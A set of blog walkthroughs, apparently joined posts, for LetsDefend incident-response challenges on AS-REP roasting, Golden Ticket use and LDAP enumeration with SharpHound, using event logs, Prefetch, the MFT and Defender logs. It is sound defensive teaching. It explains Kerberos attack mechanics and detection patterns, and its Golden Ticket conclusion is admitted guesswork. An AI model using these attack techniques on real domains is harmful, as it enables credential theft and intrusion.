From the DC’s Windows Security Event Log, we’ll use Event Log Explorer to filter and correlate the attacker’s authentication activity. The goal is to determine what technique was used and confirm whether AS-REP roasting is in play. Once we’ve wrapped the DC review, we’ll pivot to workstation artifacts, including the client security event logs and Windows Prefetch files, to fully map out the attack.

If this is all new to you, don’t worry. By the end, you’ll have a solid understanding and repeatable approach for spotting Active Directory attacks like AS-REP roasting using just a domain controller’s security log — and then expanding the picture with endpoint artifacts. Time to go hunting for a needle in the haystack of logs — let’s go!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

AS-REP Primer:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what an AS-REP attack is in the context of a domain controller. This will help us contextualize the investigation as we move through it.

In an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Microsoft has clear visuals in its Learn documentation for how that exchange works:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

The AS-REQ and AS-REP are the first steps in the Kerberos authentication process. AS-REP roasting becomes possible when an account has Kerberos pre-authentication disabled. With pre-authentication enabled, the user’s AS-REQ includes a timestamp encrypted with their password hash. The domain controller must decrypt that timestamp before it will issue an AS-REP containing a TGT.

When an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. This tactic is what’s called an AS-REP Roasting attack, which MITRE ATT&CK classifies under Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004).

MITRE describes it like this:

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

Not good! But understanding this flow is exactly what we need as we move into the investigation.

MITRE also provides helpful detection guidance. It recommends monitoring for patterns such as:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).

In other words, by combining these telemetry points and applying them to our investigation, we can quickly spot AS-REP roasting activity and scope the attack. Let’s give it a shot!

Questions 1€“5:

While reviewing the logs, Janice identified suspicious Kerberos ticket requests, potentially indicating an AS-REP attack. What is the exact time this attack occurred?

What user account did the attacker target during this Kerberos attack?

What is the SID associated with the targeted user account?

What encryption algorithm was used in this Kerberos ticket request?

What is the IP and port number that was used to request the ticket?

Now that we’ve gotten a grasp of the theory behind an AS-REP attack, let’s put it into practice and jump into the challenge. After extracting the contents of AS-REP.7z, you’ll see two folders: Corrado, which contains the compromised workstation artifacts, and DC, which contains the domain controller logs.

Overview of the challenge artifacts

Since we’re investigating an AS-REP attack, we’ll need to focus on TGT ticket requests (Event ID [4768](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)), which are only available on a domain controller. The first artifact we need to examine is the DC’s Security.evtx log. You can open it with Windows Event Viewer, or you can use Event Log Explorer, a third-party utility that significantly speeds up log analysis. Because Event Log Explorer is already included in the LetsDefend analysis environment, that’s what I’ll be using in this walkthrough.

Once you have the log open in Event Log Explorer, press the filter button in the top toolbar. In the filter window, search for Ticket Granting Ticket request events (Event ID 4768) where PreAuthType = 0. This applies what we learned directly from the MITRE ATT&CK detection strategy, reduces the log noise, and highlights requests for accounts where pre-authentication is disabled.

Event Log Explorer: Filtering TGT requests without pre-authentication

With the filtered results in front of us, the next step is to find the event matching the third parameter of the MITRE detection rule: a Ticket Encryption Type associated with a weak legacy algorithm such as RC4 (0x17). Scanning through the events, you’ll notice one entry that stands out because its Ticket Encryption Type field differs from the others.

Event Log Explorer: Identifying a request using weaker encryption

Now that we’ve identified this event, we have all the information needed to answer the first five questions:

When the attack occurred (remember to convert your answer to UTC!)
Which user account was targeted
The Security ID (SID) associated with that account
The encryption algorithm used in the Kerberos request
The IP address and port number the attacker used to request the ticket

Question 6: The attacker managed to crack the hash and used it to log into the compromised machine. When was their first logon attempt?

Now that we’ve identified the suspicious AS-REP in the domain controller logs, it’s time to pivot to our second artifact: the Security.evtx file from Corrado’s workstation. This log will help us spot the attacker’s first login attempt after cracking the hash obtained through the initial AS-REP Roasting activity.

Load the workstation’s Security.evtx file in Event Log Explorer. This time, filter for successful logons (Event ID [4624](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624)) on the device. To make the search more efficient, adjust the time window to only include events that happened after the suspicious AS-REP request. In this challenge, that means everything after 10/5/2024 2:42:44 PM and through the end of the day (10/5/2024 11:59:00 PM).

Since we already identified a source IP address in Question 5 associated with the AS-REP activity, we can add that address as a custom field in the filter. This dramatically reduces our noise floor and helps us zero in on the attacker’s follow-up actions.

Event Log Explorer: Filtering successful logon events from the suspicious source IP

Let’s start by looking at the earliest matching result. Even though the filter is showing only logins from the source IP we associated with the AS-REP traffic, there are several red flags in the event details that suggest malicious activity. These include:

A Logon Type of 3, meaning a Network logon requested over SMB, WinRM, or another remote protocol
An Account Name of ANONYMOUS LOGON
A Logon GUID of {00000000-0000-0000-0000-000000000000}, which is expected for anonymous or unauthenticated network connections

These characteristics strongly suggest that this is the attacker’s first attempt to access the machine using the cracked credential.

Event Log Explorer: First suspicious network logon tied to the attacker’s source IP

Questions 7 & 8:

Once inside, the attacker began exploring the system. What was the first command they executed?

When did the attacker execute this command exactly?

Our next task is to figure out the first command the attacker ran once they gained access to Corrado’s workstation. To do that, we’ll pivot away from the event logs and turn to a third forensic artifact: Windows Prefetch files. You can find them in the following directory:

C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch

Rather than reinvent the wheel on describing these artifacts, I’ll pull from Magnet Forensics, who explain it much better than me:

Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.

So, the idea is that if we can parse these files, we can identify which executable the attacker launched first. As-is, though, the files aren’t meant to be read directly, so we need a way to convert them into something usable…

The contents of the prefetch folder

Enter PECmd, one of the many tools in Eric Zimmerman’s suite. It’s built to parse the prefetch logs and it’s already loaded in the analysis environment, so we just need to run it from PowerShell. Here’s an example command where we tell PECmd to parse the prefetch directory and output to a CSV called investigation.csv:

.\PECmd.exe -d “C:\Users\LetsDefend\Desktop\ChallengeFile\AS-REP\corrado\prefetch" –csv C:\Users\LetsDefend\Desktop\ChallengeFile\ –csvf investigation.csv

Once the CSV is generated, open it with another Zimmerman tool, Timeline Explorer, which lets us sort and filter the parsed data.

Inside Timeline Explorer, filter on the Last Run column so we can start building a timeline. From the earlier questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we’ll focus on entries right after that time. With the rows sorted, look at the Executable Name column and we’ll see the first commands run by the attacker.

Timeline Explorer: Identifying the first command the attacker used to explore the system

Now, Question 7 is slightly open to interpretation. It mentions that “the attacker began exploring the system,“so we can reasonably assume it’s asking for the first discovery-related command. In this dataset, that command is whoami.exe. This aligns with MITRE ATT&CK T1033 (System Owner/User Discovery) and is a common early step for attackers who want to confirm what account they compromised and what privileges they have.

The great thing is that now that we’ve identified the command, we can also answer Question 8 by pulling the exact timestamp from the Last Run column in Timeline Explorer. That gives us the precise moment the attacker executed whoami.exe.

Conclusion:

How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.

This one was a great chance to revisit Kerberos fundamentals and sharpen incident response skills. Instead of juggling a dozen artifacts, we focused on the Windows Security Event Logs and used Event Log Explorer to piece together what went down.

Along the way, we identified AS-REP roasting in DC logs (Event ID 4768 with PreAuthType = 0 and RC4 0x17), confirmed the attacker’s first successful logon on the endpoint (Event ID 4624, Logon Type = 3, ANONYMOUS LOGON, null GUID), and then used Windows Prefetch parsed with PECmd and reviewed in Timeline Explorer to surface whoami.exe as the first discovery command and grab the exact execution time.

I chose this challenge to continue the series and to brush up on Windows IR and refresh on Kerberos misconfigurations like missing pre-authentication. Even in a cloud-heavy world, techniques like enumeration, ticket abuse, and lateral movement still show up in real incidents. Knowing how to spot them fast from DC telemetry and validate on the host is table stakes for any blue teamer. Awesome stuff.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/as-rep-challenge

Event Log Explorer: https://eventlogxp.com/

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

**Microsoft Learn — " # "

Kerberos Network Authentication Service (V5) Synopsis” :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

MITRE ATT&CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/

**Microsoft Learn — " # "

4768(S, F): A Kerberos authentication ticket (TGT) was requested” **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

**Microsoft Learn — " # "

4624(S): An account was successfully logged on” :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

**Magnet Forensics Blog — " # "

Forensic Analysis of Prefetch files in Windows" :** https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/

MITRE ATT&CK — System Owner/User Discovery (T1033): https://attack.mitre.org/techniques/T1033/

LetsDefend — Golden Ticket Challenge Walkthrough

Mon, 19 Jan 2026 00:00:00 +0000

LetsDefend — Golden Ticket Challenge Walkthrough

Investigating Domain Controller Logs Using Event Log Explorer and MITRE ATT&CK.

Image Credit: https://app.letsdefend.io/challenge/golden-ticket

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Golden Ticket challenge from LetsDefend, you’re in the right place. Stick around to learn a little bit about detecting Golden Ticket attacks in Active Directory.

Challenge Scenario:

An alert has been triggered within a network, indicating a possible attack on the Domain Controller (DC). The security team has detected suspicious activity suggesting lateral movement attempts from a compromised workstation to the DC. The attacker, identified as having infiltrated the network, appears to be targeting sensitive systems. An investigator is tasked with analyzing network traffic, reviewing event logs, and identifying how the attacker is navigating through the environment. The goal is to trace the attacker’s steps, determine their access point, and prevent further escalation to the Domain Controller.

For this challenge, we’re putting on our incident response hats. An alert points to lateral movement from a compromised workstation to the Domain Controller. Not good! Our job is to quickly figure out what the attacker did by hunting through the logs and following their trail.

We’ll work from a single artifact: the Windows Security Event Log, and use Event Log Explorer to filter and correlate the attacker’s authentication activities. The goal is to identify whether a Golden Ticket was forged and pin down the accounts, timestamps, and logon types to support our case.

By the end of this thing, you’ll have a repeatable approach for spotting Active Directory attacks like AS-REP roasting and suspected Golden Ticket usage from just a domain controller’s security log. Time to turn those noisy logs into a clean timeline of the attack — let’s go!

Thanks for reading and going on this investigation with me!

Golden Ticket Basics:

Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what a Golden Ticket is in the context of a domain controller. This will help us contextualize the investigation as we go through it.

In an Active Directory environment, modern authentication is handled using Kerberos. We don’t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to research further. The idea is that when a client in an Active Directory environment needs to access a resource or log in to a server, an authentication flow takes place using Kerberos. Here’s a quick visual from Microsoft Learn:

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

For the context of a Golden Ticket attack, remember that Kerberos uses tickets to validate client identity in the form of a Ticket Granting Ticket (TGT). A TGT is issued by the Key Distribution Center and encrypted/signed with the KRBTGT service account key. Put simply, compromising the KRBTGT hash lets an attacker forge TGTs that look legitimate to the KDC and then use them to request service tickets (TGS) for specific resources even as highly privileged accounts like a domain administrator.

Here’s a concise, authoritative description from MITRE ATT&CK (Steal or Forge Kerberos Tickets: Golden Ticket — T1558.001):

Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.[1] Golden tickets enable adversaries to generate authentication material for any account in Active Directory.[2]

Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.[3]

The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.[4] The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.

So, in the context of our investigation, we have an alert that a domain controller was compromised after lateral movement, which could give the attacker access to KRBTGT. Our job will be to identify whether a Golden Ticket was forged and used to escalate the attacker’s privileges to a higher level, like a domain administrator. Now that we’ve set the stage, let’s get into the investigation!

Questions 1, 2, & 3:

When did the attacker first access the service account within the Domain Controller environment?

What is the name of the compromised service account?

Which IP address and port were used by the attacker to log into the compromised account?

Let’s kick off this investigation and determine what the attacker was after. First, extract goldenticket.7z from the ChallengeFile folder. This leaves us with a single artifact: a copy of the Windows Security Event Log from the compromised domain controller — Security.evtx.

Overview of the challenge artifacts

The first thing we need to home in on is malicious login activity contained in the log. For this, we can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I’ll be using it for this walkthrough.

Next, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.

Start with broad strokes by filtering for Event ID 4624 (Successful Logon). You can access filtering options by pressing the filter button on the Event Log Explorer toolbar, then entering 4624 into the Event ID(s) field.

Since we’re specifically searching for a service account login, we might guess that the account name contains the string service. Add a custom parameter in the description params tab: select new logon\account name, set the operator to contains, and the value to service.

Event Log Explorer: Filtering successful login events containing the Account Name " # "

service"

Once we apply the filter, our event list becomes much more manageable. Because this investigation is in the context of a remotely accessed service account, we further whittle down results by discarding interactive (type 2) logons and searching for network logons (type 3) which is common with accessing services over the network.

Event Log Explorer: Identifying the first successful login for SQLService

This will lead us to stumble upon the key logon event above. In the Account Name field, we’ll find a 4624 network logon for the service account SQLService. That gives us the likely answer to Questions 1 & 2. Even better, 4624 events include Network Information fields such as Source Network Address and Source Port, which reveal where and how the logon originated. Those fields will provide the answer to Question 3 — nice!

Questions 4 & 5:

Before that the same attacker tried to perform an AS-REP attack. What user account did the attacker target during this Kerberos attack?

When did the attacker request that TGT ticket to perform the AS-REP attack?

Now that we’ve established some baseline timestamps and uncovered indicators of attack, we’ll turn our attention to the attacker’s earlier technique — AS-REP Roasting.

Before we blindly pour through the logs, let’s turn to the MITRE ATT&CK entry for this tactic for context: Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004)

Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.

Think back to the Kerberos diagram we reviewed earlier. The AS-REQ and AS-REP are the first steps in the Kerberos authentication flow. AS-REP roasting is possible in an Active Directory domain when an account has pre-authentication disabled. With pre-authentication enabled, the user’s AS-REQ includes a timestamp encrypted with the hash of their password and the DC must decrypt it before issuing an AS-REP containing a TGT. When an account doesn’t require this pre-authentication, attackers can just send an AS-REQ, snag the AS-REP, and then brute-force the encrypted data offline to expose credentials. Not good!

So, what does this mean for our investigation? Another useful resource in MITRE ATT&CK is the detection strategy for these attacks. It recommends hunting for:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17).

Let’s put this into action in Event Log Explorer and search for:

TGT requests: Event ID 4768 with PreAuthType = 0
Service ticket activity: Event ID 4769 where TicketEncryptionType = 0x17 to spot legacy RC4 usage

Event Log Explorer: Filtering for AS-REP roasting targets

Bingo! When you apply these filters, you’ll find exactly one matching hit: a single 4768 event that matches the detection conditions. That event contains what we need to answer Questions 4 & 5.

Event Log Explorer: Stumbling across a matching event log

Questions 6 & 7:

After gaining access to the Domain Controller, the attacker attempted to generate a Golden Ticket to impersonate a DC user. What was the target account?

At what time did the attacker try to log in using the Golden Ticket?

On to the last two questions! We’re looking for another successful login event that might indicate attempted use of a Golden Ticket, impersonating another user in the domain. Since the question tells us we’re looking after the attacker gained access to the domain controller, let’s apply some focused filtering in Event Log Explorer:

Filter Event IDs: 4624 (Successful Logon) and 4768 (TGT requests)
Time window: Events on the day of the attack after the event we found in Question 5
Exclude previously identified accounts: Filter out Corrado
Exclude computer accounts: Remove SOPRANOS-DC$ to focus only on user accounts

Event Log Explorer: Applying filters to reduce the noise

With these filters applied, we’ll identify activity for the Administrator account — a juicy target for an attacker looking for the keys to the kingdom. Let’s focus on this account now.

Event Log Explorer: Identifying an Administrator user in the event logs

To correlate associated Administrator activity, expand the filtered event set to include 4768, 4769, 4624, and 4625 (logon failure), add Administrator to the Text in description field, and clear any description parameters we used earlier so we don’t suppress relevant fields.

Event Log Explorer: Filtering for Administrator activity

From the results, something looks odd. Between 5:04:23 PM and 5:41:28 PM, we discover dozens of 4769 (service ticket request) events, a couple of 4768 (TGT) events, and several 4625 logon failures for Administrator. In other words, this looks suspiciously like testing or enumeration noise from the attacker.

Then we hit what really tips us off: at 5:57:03 PM there’s a clean sequence that ends in a successful logon: 4768 → 4769 → **4624**.

Event Log Explorer: Identifying a suspicious logon event sequence

This 4624 is Logon Type 2 (interactive). That isn’t the usual network pattern we often see with Golden Ticket use (typically surfaces as Logon Type 3 on a target server), but it differs from the earlier Type 7 unlocks we observed for this account and lands right after the suspicious 4769/4625 activity. That contrast is enough to treat it as a strong lead.

Since we’re absent any other clues indicating a Golden Ticket like a Logon GUID of {00000000-0000-0000-0000-000000000000}, odd ticket options, or a missing preceding TGT request, we’ll treat this as an educated guess: the Administrator logon at 5:57:03 PM is the most likely moment the attacker successfully authenticated using forged credentials, following the enumeration we observed.

It’s not perfect evidence, but the timing, the switch to Logon Type 2, and the 4769/4625 pattern make it the best option to prove our case. Let’s see if we’ve got it right!

Conclusion:

How fun was that! A huge thank you to LetsDefend for dropping these awesome classic Active Directory attack challenges.

This one was a great chance to revisit Kerberos fundamentals and sharpen our incident response skills. Instead of juggling multiple artifacts, we focused on a single source, the Windows Security Event Log, and used Event Log Explorer to piece together what went down. Along the way, we uncovered an AS-REP roasting attempt, correlated suspicious ticket activity, and stumbled on a Golden Ticket use. It’s a reminder that even with limited data, careful filtering and enrichment from MITRE ATT&CK can help tie up the loose ends.

I chose this challenge to brush up on my Windows incident response skills and refresh on Kerberos, classic Active Directory attacks, and misconfiguration pitfalls like missing pre-authentication. In a cloud-native world, it’s easy to forget that these techniques like enumeration, ticket forging, and lateral movement are still widely used in real-world attacks. Knowing how to spot them is extremely handy for any blue teamer. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/golden-ticket

Event Log Explorer: https://eventlogxp.com/

**Microsoft Learn — " # "

Kerberos Network Authentication Service (V5) Synopsis" :** https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13

MITRE ATT&CK — Steal or Forge Kerberos Tickets: Golden Ticket (T1558.001): https://attack.mitre.org/techniques/T1558/001/

MITRE ATT&CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004): https://attack.mitre.org/techniques/T1558/004/

**Microsoft Learn — " # "

4768(S, F): A Kerberos authentication ticket (TGT) was requested" **: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

**Microsoft Learn — " # "

4769(S, F): A Kerberos service ticket was requested" :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

**Microsoft Learn — " # "

4624(S): An account was successfully logged on" :** https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624

LetsDefend — LDAP Enumeration Challenge Walkthrough

Mon, 12 Jan 2026 00:00:00 +0000

LetsDefend — LDAP Enumeration Challenge Walkthrough

Investigating Suspicious Network Enumeration Using Event Log Explorer and Eric Zimmerman’s Tools.

Image Credit: https://app.letsdefend.io/challenge/ldap-enumeration

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the LDAP Enumeration blue team challenge from LetsDefend, you’re in the right place.

Challenge Scenario:

A network has been breached, and an alert was triggered indicating suspicious network enumeration activities from IP 192.168.110.129. Initial indicators suggest an attacker inside the network is actively probing systems and gathering information about critical assets. You are tasked with tracing the attacker’s movements to determine the source of the anomaly, understand how the attacker gained access, and assess what actions they might have taken inside the network.

For this challenge, we’re putting on our incident response hats. Suspicious network enumeration and discovery activities have been identified coming from a single workstation. We’re handed a zip file containing Windows artifacts from the affected device and tasked with piecing together what happened and what tool triggered the alert.

This scenario will have us pivoting between tools to deep dive into a variety of forensic artifacts as we build a timeline of the attack and uncover which tools were used or abused. To do this, we’ll crack open our toolboxes and leverage a mix of Eric Zimmerman’s forensic tools, Event Log Explorer, and VirusTotal to analyze the evidence.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Questions 1 & 2:

What is the port number used for the previous login?

Let’s kick off this investigation and figure out what’s causing this suspicious network enumeration.

First, extract LDAP-Enum.7z from the ChallengeFile folder. This leaves us with a folder named C, which contains various artifacts from a Windows system that we’ll use throughout our investigation.

Overview of the challenge artifacts

The first thing we need to home in on is malicious login activity. For this, we’ll use the Windows Security Event log, which contains, among other things, the login events for the system. Within our artifacts, the logs can be located in the following directory:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Security.evtx

The location of the security event log artifact

To view the logs, we have a couple of options. We can open this in Windows Event Viewer, or we can use Event Log Explorer, a third-party utility that speeds up event log analysis. Since Event Log Explorer is already built into the LetsDefend analysis environment, I’ll be using it for this walkthrough.

Next, open Event Log Explorer and load the Security.evtx file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.

Press the filter button to focus on Event ID 4624 (Successful Login). We can also search for Text in description to narrow things down. A crucial detail to remember from the scenario is that the IP address 192.168.110.129 was identified as the source of the network enumeration activity, so we’ll use that to search all of the details for records that contain that IP.

Event Log Explorer: Filtering successful login events from the malicious IP

Event Log Explorer: Identifying the first login from the malicious IP and the source port

By applying this filter, we’ve quickly identified the first login from the malicious IP address — and we’ve even discovered the source port that we need to answer Question 2.

Question 3: Once inside the system, it seems the attacker immediately began gathering information. What was the first command they executed?

Our next task is to figure out the first command the attacker executed once they gained access. For this, we’ll pivot from the event logs and turn to another forensic artifact: Windows Prefetch files.

Rather than try to explain the value of these artifacts myself, I’ll lean on the excellent blog post from Magnet Forensics. They explain:

Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user’s application history on a computer.

So, if we can access the prefetch files, we can determine what the first command executable was run. We can locate the prefetch files in the ChallengeFile\C\Windows\prefetch directory, but they aren’t much use to us as-is.

The location of the prefetch file artifacts

To parse the prefetch files, we’ll leverage one of the many Eric Zimmerman tools — PECmd. This utility is already loaded into the analysis environment, so we only need to launch it through PowerShell using the syntax below to specify the prefetch directory and an output directory and file. Here’s an example where PECmd outputs to a file called investigation.csv:

.\PECmd.exe -d “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\prefetch" –csv C:\Users\LetsDefend\Desktop\ChallengeFile –csvf investigation.csv

Once the file is generated, we’ll open it with another Eric Zimmerman tool, Timeline Explorer, which allows us to view and sort the output data in a structured way.

Within Timeline Explorer, filter the Last Run column so we can start to build out a timeline. From the previous questions, we know the attacker first logged in at 2024-10-05 14:48:58, so we’ll focus on events right after that. With the entries sorted, let’s look at the Executable Name column—and we’ll find the first discovery command run:

Timeline Explorer: Filtering for executables following the initial login

whoami.exe is an example of System Owner/User Discovery (MITRE ATT&CK T1033) used to identify the currently logged-in user on the system and check what level of access they have.

Let’s figure out what they did next.

Question 4: During the attack, the attacker downloaded a malicious file. What is the exact URL of the file?

Now that we’ve started to gather a rough timeline of the attack in Timeline Explorer, we can see other potentially interesting executables that could be abused by the attacker to download further payloads — including bitsadmin, powershell, and curl.

Timeline Explorer: Identifying methods of ingress tools transfer

All of these commands are important pieces of the puzzle. But most interestingly, following the use of BITSADMIN.EXE, we also see evidence of another suspicious executable: Sharphound.exe. SharpHound is the ingestor for BloodHound, a well-known Active Directory reconnaissance tool.

This seems like a good place to start answering Question 4 and determine the full download URL of the Sharphound.exe file. Since we already noted that this activity followed BITSADMIN.EXE, we’ll use the BITS Client Operational Logs to discover (no pun intended) more details. These logs can be located in the directory below. Go ahead and open them in Event Log Explorer:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Scroll down to the matching timestamp that we found in Timeline Explorer to identify the URL that the tool was downloaded from.

Event Log Explorer: Identifying the URL the malicious file was downloaded from

Question 5: The download logs indicate when the malicious file was brought onto the system. What time did the download occur?

Unfortunately, the timestamp in the BITS logs only indicates when the BITS job was created — not when the file was actually written to the file system. So, we’ll pivot to yet another artifact: the master file table ($MFT). To explore the MFT, we’ll use MFTExplorer, the GUI version of Eric Zimmerman’s MFTECmd.

For some context about this artifact, let’s lean on the Magnet Forensics blog again, where it’s explained:

In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file’s attributes, such as its name, size, timestamps, permissions, and more.

Putting this together, the idea is that by parsing the $MFT, we can identify the creation timestamp of the SharpHound.exe binary, indicating when it was downloaded.

Once you have MFTExplorer open, load the $MFT artifact from:

C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT

Then, in the directory structure browser on the left, navigate to the file path we found in the BITS Client log in the last question:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\Temp

MFT Explorer: Identifying the creation time of the SharpHound.exe binary

Here, you’ll find the record for the malicious SharpHound.exe file. The SI_Creation On column contains the timestamp of the download.

Question 6: Windows Defender detected the malicious file and generated an alert. What is the SHA1 hash of this file?

Now that we’ve identified how and where the malicious file was downloaded, let’s turn our attention to gathering some additional details about the file. Fortunately, the question tells us that the SharpHound.exe binary was detected by Windows Defender, so our first stop will be to review the Defender detection logs for any more clues.

Within our artifacts, we can find the Windows Defender Operational logs here:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx

Load this up in Event Log Explorer and apply some filtering. This time, we’ll search for Event ID 1117 and 1116. Per the Microsoft Learn documentation, these events correspond to:

MALWAREPROTECTION_STATE_MALWARE_DETECTED
MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN

These should give us good coverage of detection and remediation actions.

Event Log Explorer: Identifying malware detection events

After applying the filter, we’ll find events showing the detection and quarantine actions taken on the SharpHound.exe file. While helpful, these event logs don’t contain the SHA1 file hash we need to answer the question.

No problem! Let’s pivot to a second local Defender artifact — the Support logs. We can find these here:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\ProgramData\Microsoft\Windows Defender\Support

Overview of the Windows Defender support logs

Inside this directory, open the MPLog-20240813€“091114.log file with a text editor like Notepad++. Then, simply search for the name of the file: SharpHound.exe.

Notepad++: Finding the file hash in the MPLog

Bingo! Right below the file name is the SHA1 hash of the file. This is extremely handy if we need to pivot to external threat intelligence platforms. It’s a great example of why understanding all available logs is fundamental, since the Event Logs didn’t contain what we needed.

Question 7: To evade detection, the attacker excluded a specific directory from the Defender scan. What command did they use to do so?

Okay, so we figured out the malware got detected the first time — whoops! From the question, we know the attacker then made an exclusion for a directory, probably to use as a staging area to further avoid detection.

Let’s jump back to the Windows Defender Operational logs we explored in the previous question. This time, we’ll filter for Event ID 5007 (MALWAREPROTECTION_CONFIG_CHANGED), since any exclusion actions should be captured by this event.

Event Log Explorer: Discovering a Defender exclusion configuration

In Event Log Explorer, the first events at the top of the list from the date of the attack show two interesting changes:

Tampering with the real-time protection setting
Setting a new configuration value for an exclusion path: C:\Windows\Temp

So now we know the directory, but we still don’t know the exact command used. Why don’t we check the PowerShell logs for evidence of command execution? These logs are in the same directory as the rest of the event logs. The only trick is that there are two PowerShell logs — we want the Windows PowerShell log, not the operational log:

C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Windows PowerShell.evtx

Since we already have a timestamp from the Defender logs for when the exclusion was implemented, we can correlate that with the PowerShell log. By doing that, we’ll stumble across the exact command used to set the exclusion.

Event Log Explorer: Finding the exclusion command in the Windows Powershell logs

Question 8: The attacker executed the malicious file soon after downloading it. When exactly did they first run it?

For this, we’ll head back to Timeline Explorer and review our PECmd output from Questions 3 and 4 (investigation.csv).

Use the search box to look for Sharphound.exe. Then, focus on the Last Run column to get the exact timestamp of when the malware was executed.

Timeline Explorer: Identifying the last run timestamp of the malicious file

Now we have the complete picture of how the file was downloaded, when it was downloaded, when it was detected, and when it was run.

Question 9: After executing the malicious file, a zip file was created on the system. What is the full path of this zip file?

